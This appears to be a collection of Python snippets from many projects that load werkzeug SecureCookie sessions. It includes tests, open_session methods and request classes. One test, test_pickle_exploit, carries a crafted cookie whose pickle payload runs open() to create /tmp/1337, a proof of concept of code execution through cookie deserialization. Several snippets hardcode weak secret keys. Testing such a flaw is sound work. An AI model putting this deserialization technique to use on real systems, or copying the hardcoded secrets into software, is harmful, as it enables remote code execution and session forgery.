def test_wrapper_support(): req = Request.from_values() resp = Response() c = SecureCookie.load_cookie(req, secret_key=b'foo') assert c.new c['foo'] = 42 assert c.secret_key == b'foo' c.save_cookie(resp) req = Request.from_values(headers={ 'Cookie': 'session="%s"' % parse_cookie(resp.headers['set-cookie'])['session'] }) c2 = SecureCookie.load_cookie(req, secret_key=b'foo') assert not c2.new assert c2 == c
def test_wrapper_support(self): req = Request.from_values() resp = Response() c = SecureCookie.load_cookie(req, secret_key="foo") assert c.new c["foo"] = 42 assert c.secret_key == "foo" c.save_cookie(resp) req = Request.from_values( headers={"Cookie": 'session="%s"' % parse_cookie(resp.headers["set-cookie"])["session"]} ) c2 = SecureCookie.load_cookie(req, secret_key="foo") assert not c2.new assert c2 == c
def test_wrapper_support(self): req = Request.from_values() resp = Response() c = SecureCookie.load_cookie(req, secret_key='foo') assert c.new c['foo'] = 42 assert c.secret_key == 'foo' c.save_cookie(resp) req = Request.from_values(headers={ 'Cookie': 'session="%s"' % parse_cookie(resp.headers['set-cookie'])['session'] }) c2 = SecureCookie.load_cookie(req, secret_key='foo') assert not c2.new assert c2 == c
def init_cookie(self): """ Ensures that a cookie'd subject id exists """ #self._app.logger.debug("Init cookie hit for {}".format(request.path)) # Don't bother setting the cookie on favicon hits # TODO: Make this more gooder if request.path == '/favicon.ico/': request.exp_enabled = False return exp_cookie = SecureCookie.load_cookie(request, key=self.FLASK_EXPERIMENT_COOKIE_NAME, secret_key=self._app.secret_key) subj_id = exp_cookie.get('id') if not subj_id: subj_id = uuid4().hex exp_cookie['id'] = subj_id set_exp = request.args.get('experiment') set_var = request.args.get('variant') request.exp_cookie = exp_cookie request.experiments = self.mgr.get_subject_experiments(subj_id) if set_exp and set_var: self.mgr.update_subject_experiments(subj_id, set_exp, set_var) request.experiments = self.mgr.get_subject_experiments(subj_id) #self._app.logger.debug("Subject {} experiments {}".format( #subj_id, request.experiments)) request.exp_enabled = True
def get_request(self, environ): request = Request(environ) request.app = self.app request.translations = load_core_translations(self.app.cfg['language']) request.is_admin = False request.is_somebody = False cookie_name = self.app.cfg['session_cookie_name'] session = SecureCookie.load_cookie( request, cookie_name, self.app.cfg['secret_key'].encode('utf-8') ) request.session = session engine = self.app.database_engine user_id = session.get('uid') if user_id: admin_privilege = engine.execute( privileges.select(privileges.c.name=='BLOG_ADMIN') ).fetchone() admin = engine.execute(user_privileges.select(and_( user_privileges.c.user_id==int(user_id), user_privileges.c.privilege_id==admin_privilege.privilege_id ))).fetchone() request.is_somebody = True request.is_admin = admin is not None return request
def tag_session(req): app = get_app() cookie_name = app.conf['sessions/cookie_name'] session = SecureCookie.load_cookie(req, cookie_name, app.conf['sessions/secret']) req.session = session local.session = session
def get_request(self, environ): request = Request(environ) request.app = self.app request.translations = load_core_translations(self.app.cfg['language']) request.is_admin = False request.is_somebody = False cookie_name = self.app.cfg['session_cookie_name'] session = SecureCookie.load_cookie( request, cookie_name, self.app.cfg['secret_key'].encode('utf-8')) request.session = session engine = self.app.database_engine user_id = session.get('uid') if user_id: admin_privilege = engine.execute( privileges.select( privileges.c.name == 'BLOG_ADMIN')).fetchone() admin = engine.execute( user_privileges.select( and_( user_privileges.c.user_id == int(user_id), user_privileges.c.privilege_id == admin_privilege.privilege_id))).fetchone() request.is_somebody = True request.is_admin = admin is not None return request
def __init__(self, environ, app=None): RequestBase.__init__(self, environ) self.queries = [] self.metanav = [] self.navbar = [] self.ctxnavbar = {} if app is None: app = get_application() self.app = app engine = self.app.database_engine # get the session and try to get the user object for this request. from ilog.database import db, User user = None cookie_name = app.cfg['cookie_name'] session = SecureCookie.load_cookie(self, cookie_name, app.secret_key) user_id = session.get('uid') if user_id: user = User.query.options( db.eagerload('groups'), db.eagerload('groups', 'privileges') ).get(user_id) if user is None: self.locale = self.app.default_locale self.translations = self.app.default_translations user = User.query.get_nobody() else: self.locale = Locale(user.locale) self.translations = i18n.load_translations(self.locale) self.user = user self.user.update_last_login() db.commit() self.session = session
def setup_cookie(self): from screener.database import User, session self.session = SecureCookie.load_cookie( self, application.config.cookie_name, application.config.secret_key.encode('utf-8') ) def new_user(): user = User() session.add(user) return user if 'uuid' not in self.session: self.login(new_user(), permanent=True) self.session.setdefault('flashes', []).append( "A unique cookie has been sent to your browser that " "enables you to see your private images when browsing the " "categories.<br>Otherwise, you can only access them by " "their direct URL.") else: user = User.query.get(self.session.get('uuid')) if not user: self.login(new_user(), permanent=True) self.session.setdefault('flashes', []).append( "A unique cookie has been sent to your browser that " "enables you to see your private images when browsing the " "categories.<br>Otherwise, you can only access them by " "their direct URL.") else: self.login(user) self.user.update_last_visit() session.commit() self.cleanup_old_sessions()
def open_session(self, request): """Creates or opens a new session. Default implementation requires that `securecookie.secret_key` is set. """ key = self.secret_key if key is not None: return SecureCookie.load_cookie(request, self.session_cookie_name, secret_key=key)
def open_session(self, request): # """ :param request: Request实例 """ #创建或打开一个新的session,默认的实现是存储所有的session数据到一个签名的cookie中, # 前提是secret_key属性被设置 key = self.secret_key if key is not None: return SecureCookie.load_cookie(request, 'session', secret_key=key)
def test_wrapper_support(): req = Request.from_values() resp = Response() c = SecureCookie.load_cookie(req, secret_key=b"foo") assert c.new c["foo"] = 42 assert c.secret_key == b"foo" c.save_cookie(resp) req = Request.from_values( headers={ "Cookie": 'session="%s"' % parse_cookie(resp.headers["set-cookie"])["session"] }) c2 = SecureCookie.load_cookie(req, secret_key=b"foo") assert not c2.new assert c2 == c
def open_session(self, request): """Creates or opens a new session. Default implementation stores all session data in a signed cookie. This requires that the :attr:`secret_key` is set. :param request: an instance of :attr:`request_class`. """ key = self.secret_key if key is not None: return SecureCookie.load_cookie(request, self.session_cookie_name, secret_key=key)
def open_session(self, request): """创建或打开一个新的session。默认的实现是存储所有的用户会话(session) 数据到一个签名的cookie中。这需要secret_key属性被设置。 :param request: request_class的实例。 """ key = self.secret_key if key is not None: return SecureCookie.load_cookie(request, self.session_cookie_name, secret_key=key)
def load_session_from_cookie(request): secret = current_app.config.get("session_secret") if secret: session_name = current_app.config.get("session_cookie_name") or "session" local.session = SecureCookie.load_cookie(request, session_name, secret_key=secret) request._flash = local.session.pop("_flash", {}) csrf_token() # all session should have csrf token else: local.session = {} local.session["_flash"] = {}
def open_session(self, request): """ 获取请求对应的session数据,当没有session时,可以创建请求对应的session信息 创建的前提是需要配置了secret_key """ key = self.secret_key if key is not None: return SecureCookie.load_cookie(request, self.session_cookie_name, secret_key=key)
def open_session(self, request): ''' load_cookie: data = request.cookies.get(key) if not data: return cls(secret_key=secret_key) return cls.unserialize(data, secret_key) ''' return SecureCookie.load_cookie(request, key=self.session_cookie_name, secret_key=self.secret_key)
def open_session(self, resource): """creates or opens a new session""" key = self.secret_key if key is not None: return SecureCookie.load_cookie( # here, we should use global request # which is a context-local object # request, # so this request is the global request... Request(environ), # request, self.session_cookie_name, secret_key=key)
def get_secure_cookie(self): """ Returns the secure cookie object from werkzeug :return: SecureCookie """ secret_key = self.state.environment.get('secret_key') if not secret_key: raise Exception('\'secret_key\' value must be set in environment') if not self._secure_cookie: self._secure_cookie = SecureCookie.load_cookie( self, secret_key=secret_key.encode()) return self._secure_cookie
def open_session(self, resource): """creates or opens a new session""" key = self.secret_key if key is not None: return SecureCookie.load_cookie( # here, we should use global request # which is a context-local object # request, # so this request is the global request... Request(environ), # request, self.session_cookie_name, secret_key=key )
def open_session(self, request): # 这里的逻辑是,在构建请求环境的时候,用secure_cookie.load_cookie从 # 请求中加载session内容,从中读取出sid值,再根据sid从数据库中读取session # 真正的内容,并用这些内容构建一个真正的,在视图函数中使用的session对象 # 这个函数的返回值会成为_request_ctx_stack的栈顶的session对象 key = self.secret_key if key is not None: secure_cookie = SecureCookie.load_cookie( request, self.session_cookie_name, secret_key=self.secret_key) sid = secure_cookie.get('sid') if sid is not None: request_session = self.session_store.get(sid) else: request_session = self.session_store.new() return request_session
def load_secure_cookie(self, key): """Loads and returns a secure cookie from request. If it is not set, a new secure cookie is returned. This cookie must be saved using a response object at the end of a request. To get a cookie that is saved automatically, use :meth:`SessionStore.get_secure_cookie`. :param key: Cookie unique name. :return: A ``werkzeug.contrib.SecureCookie`` instance. """ return SecureCookie.load_cookie(self.request, key=key, secret_key=self.config['secret_key'])
def test_pickle_exploit(): """ Exploit SecureCookie use of pickle for running arbitrary code. The used pickle is: >>> "(S'/tmp/1337'\np1\nS'w'\np2\ni__builtin__\nopen\np3\n(dp4\nb." """ import os CRAFTED_COOKIE = "1uy1JJYjjPFcZmyy235olMQoYbU=?foo=KFMnL3RtcC8xMzM3JwpwMQpTJ3cnCnAyCmlfX2J1aWx0aW5fXwpvcGVuCnAzCihkcDQKYi4=" req = Request.from_values(headers={ 'Cookie': 'session="%s"' % CRAFTED_COOKIE }) c = SecureCookie.load_cookie(req, secret_key='foo') assert not c.new assert os.path.exists('/tmp/1337')
def __init__(self, environ): super(Request, self).__init__(environ) self.first_visit = False session = SecureCookie.load_cookie(self, COOKIE_NAME, local.application.secret_key) user_hash = session.get('user_hash') if not user_hash: session['user_hash'] = generate_user_hash() self.first_visit = True self.user_hash = session['user_hash'] self.session = session # language is limited to english until translations are ready lang = session.get('locale') if lang is None: lang = 'en' self.locale = Locale.parse(lang)
def __init__(self, environ): super(Request, self).__init__(environ) self.first_visit = False session = SecureCookie.load_cookie(self, COOKIE_NAME, local.application.secret_key) user_hash = session.get("user_hash") if not user_hash: session["user_hash"] = generate_user_hash() self.first_visit = True self.user_hash = session["user_hash"] self.session = session # language is limited to english until translations are ready lang = session.get("locale") if lang is None: lang = "en" # lang = (self.accept_languages.best or 'en').split('-')[0] self.locale = Locale.parse(lang)
def dispatch(self, environ, start_response): local.application = self request = Request(environ) local.url_adapter = adapter = url_map.bind_to_environ(environ) request.debug = self.debug request.session = SecureCookie.load_cookie(request, key='com.kinaj.session', secret_key='kinaj') try: endpoint, values = adapter.match() handler = getattr(views, endpoint) response = handler(request, **values) except NotFound, e: response = views.not_found(request) response.status_code = 404
def load_cookie(self, request, name, secret_key = None): """load a secure cookie by name or return an empty cookie if not present""" if secret_key is None: secret_key = self.config.get('secret_key', None) return SecureCookie.load_cookie(request, name, secret_key = secret_key)
def session(self): return SecureCookie.load_cookie(self, secret_key=scanner.CONFIG["SECRET"])
def client_session(self): return SecureCookie.load_cookie(self, secret_key=COOKIE_SECRET)
def secure_cookies(self): return SecureCookie.load_cookie( self, secret_key=XConfig.get('COOKIE_SECRET_KEY') or 'XWEB')
def open_session(self, request): key = self.secret_key if key is not None: return SecureCookie.load_cookie(request, self.session_cookie_name, secret_key=key)
def session(self): if self.request is None: return secret_key = self('cookie_secret').encode() session = SecureCookie.load_cookie(self.request, secret_key=secret_key) return session
def session(self): return SecureCookie.load_cookie( self.request, secret_key=conf('cookie_secret').encode() )
def client_session(self): secret_key = os.environ['KLANGBECKEN_API_SECRET'] return SecureCookie.load_cookie(self, secret_key=secret_key)
def load_cookie(self, request, name, secret_key=None): """load a secure cookie by name or return an empty cookie if not present""" if secret_key is None: secret_key = self.config.get('secret_key', None) return SecureCookie.load_cookie(request, name, secret_key=secret_key)
def setup_cookie(self): self.session = SecureCookie.load_cookie( self, config.web.cookie_name, config.web.secret_key.encode('utf-8') )
def __init__(self, environ): BaseRequest.__init__(self, environ) self.session = SecureCookie.load_cookie(self, secret_key=SECRET_KEY)
def client_session(self): return SecureCookie.load_cookie(self, secret_key=SECRET_KEY)
def handle(self, req): self.session = SecureCookie.load_cookie(req, secret_key=self.config.secret) try: resp = self._handle_request(req) except HTTPException, e: resp = e.get_response(req.environ)
def open_session(self, request): return SecureCookie.load_cookie(request, key=self.session_cookie_name, secret_key=self.secret_key)
def session(self): """The active session.""" return SecureCookie.load_cookie(self, settings.COOKIE_NAME, settings.SECRET_KEY)
def secure_cookies(self): return SecureCookie.load_cookie(self, secret_key=XConfig.get('COOKIE_SECRET_KEY') or 'XWEB')
def session(self): secret = self.environ['delikat.web.secret'] return SecureCookie.load_cookie(self, key='auth', secret_key=secret)
def session(self): return SecureCookie.load_cookie(self, secret_key=settings.SECRET_COOKIE_KEY)
def session_load(self): self.session = SecureCookie.load_cookie( self.request, self['session:cookie_name'], secret_key=self['session:secret_key'] )